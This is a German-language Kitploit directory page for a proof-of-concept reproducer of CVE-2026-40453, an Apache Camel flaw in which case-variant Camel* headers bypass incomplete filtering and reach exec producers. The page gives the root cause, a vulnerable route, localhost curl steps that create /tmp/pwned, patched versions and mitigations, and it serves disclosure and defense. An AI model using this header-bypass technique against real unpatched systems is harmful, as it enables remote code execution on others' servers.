Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-40453 — Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636) | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-40453
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuboscerd/cve-2026-40453

CVE-2026-40453

Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Reproducer für Camel-Header-Injection mit Groß-/Kleinschreibungs-Varianten (CVE-2026-40453)

Dieses Projekt demonstriert CVE-2026-40453 – eine unvollständige Behebung von CVE-2025-27636. Der Fix von 2025 fügte
setLowerCase(true) zu HttpHeaderFilterStrategy hinzu, sodass Header-Namen in Groß-/Kleinschreibungs-Varianten (z. B.
CAmelExecCommandExecutable) zusammen mit dem kanonischen CamelExecCommandExecutable gefiltert werden. Der gleiche Aufruf
wurde nicht auf fünf Nicht-HTTP-HeaderFilterStrategy-Implementierungen angewendet
(camel-jms, camel-sjms, camel-coap, camel-google-pubsub), die groß-/kleinschreibungssensitiv filtern, während
der Camel Exchange Header in einer groß-/kleinschreibungsunabhängigen Map speichert. Ein Angreifer kann daher einen
Camel*-Steuerheader in einer Groß-/Kleinschreibungs-Variante injizieren, der den Filter umgeht, aber von nachgelagerten
Komponenten (camel-exec, camel-file, ...) unter seinem kanonischen Namen aufgelöst wird → Remote Code Execution /
beliebiges Dateischreiben.

Dieser Reproducer demonstriert den Umgehungsangriff mit camel-coap (eigenständig, kein externer Broker); der gleiche
Fehler betrifft die JMS/SJMS/Google-Pubsub-Strategien.

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-40453.html

Zusammenfassung der Schwachstelle

Technische Details

CoAPHeaderFilterStrategy (betroffene Version) filtert Camel* groß-/kleinschreibungssensitiv:

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

Wenn eine CoAP-Anfrage eintrifft, ordnet CamelCoapResource.handleRequest() jeden URI-Abfrageparameter den Exchange-In-Headern zu,
gesteuert durch strategy.applyFilterToExternalHeaders(name, value, exchange):

  • CamelExecCommandExecutable – startsWith("Camel") ist true → herausgefiltert.
  • CAmelExecCommandExecutable – startsWith("Camel") ist false (CAm ≠ Cam) → nicht herausgefiltert.

Die Exchange-Header-Map ist groß-/kleinschreibungsunabhängig, sodass der Header in Groß-/Kleinschreibungs-Variante später vom
Exec-Producer unter seinem kanonischen Namen CamelExecCommandExecutable aufgelöst wird und den Befehl überschreibt.

Die Opfer-Route

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

Voraussetzungen

  • Java 17+ und Maven 3.8+
  • Docker

Reproduktionsschritte

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) Gutartig

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) Kanonischer Header – GEFILTERT (kein RCE)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (the filter strips canonical Camel* headers)

3) Header in Groß-/Kleinschreibungs-Variante – UMGEHUNG (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true   (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned

Bereinigung

root@kitploit:~
docker compose down

Empfohlener Fix

Upgrade auf 4.14.6 / 4.18.2 / 4.20.0. Der Fix (CAMEL-23313) fügt setLowerCase(true) zu den fünf
Nicht-HTTP-HeaderFilterStrategy-Implementierungen hinzu, sodass auch Camel*-Namen in Groß-/Kleinschreibungs-Varianten gefiltert werden.

Schadensbegrenzung

Bis zum Upgrade:

  1. Camel-Header groß-/kleinschreibungsunabhängig entfernen – nachgelagert von nicht vertrauenswürdigen Produzenten:
    eine benutzerdefinierte HeaderFilterStrategy mit setLowerCase(true) oder removeHeaders mit einem
    groß-/kleinschreibungsunabhängigen Muster.
  2. Vermeiden Sie es, nicht vertrauenswürdige JMS-/CoAP-/Pub-Sub-Nachrichten an headergesteuerte Producer weiterzuleiten.

Dateien

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # victim: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtered), /attack (case-variant bypass)
    └── resources/
        └── application.properties

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisiertes Testen bereitgestellt, für eine öffentlich
bekanntgegebene und behobene
Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen
EigenschaftWert
Komponentencamel-jms, camel-sjms, camel-coap, camel-google-pubsub (dieses PoC verwendet camel-coap)
Betroffene KlassenJmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
GrundursacheGroß-/kleinschreibungssensitives startsWith("Camel"/"camel")-Filtern (fehlendes setLowerCase(true)) vs. eine groß-/kleinschreibungsunabhängige Exchange-Header-Map
CWECWE-20 (Unzureichende Eingabevalidierung) – Nachrichten-Header-Injection
AuswirkungRCE / beliebiges Dateischreiben über headergesteuerte Producer
Betroffene VersionenAb 3.0.0 vor 4.14.6, ab 4.15.0 vor 4.18.2, ab 4.19.0 vor 4.20.0
Behobene Versionen4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (vervollständigt den Fix für CVE-2025-27636)
MelderSaroj Khadka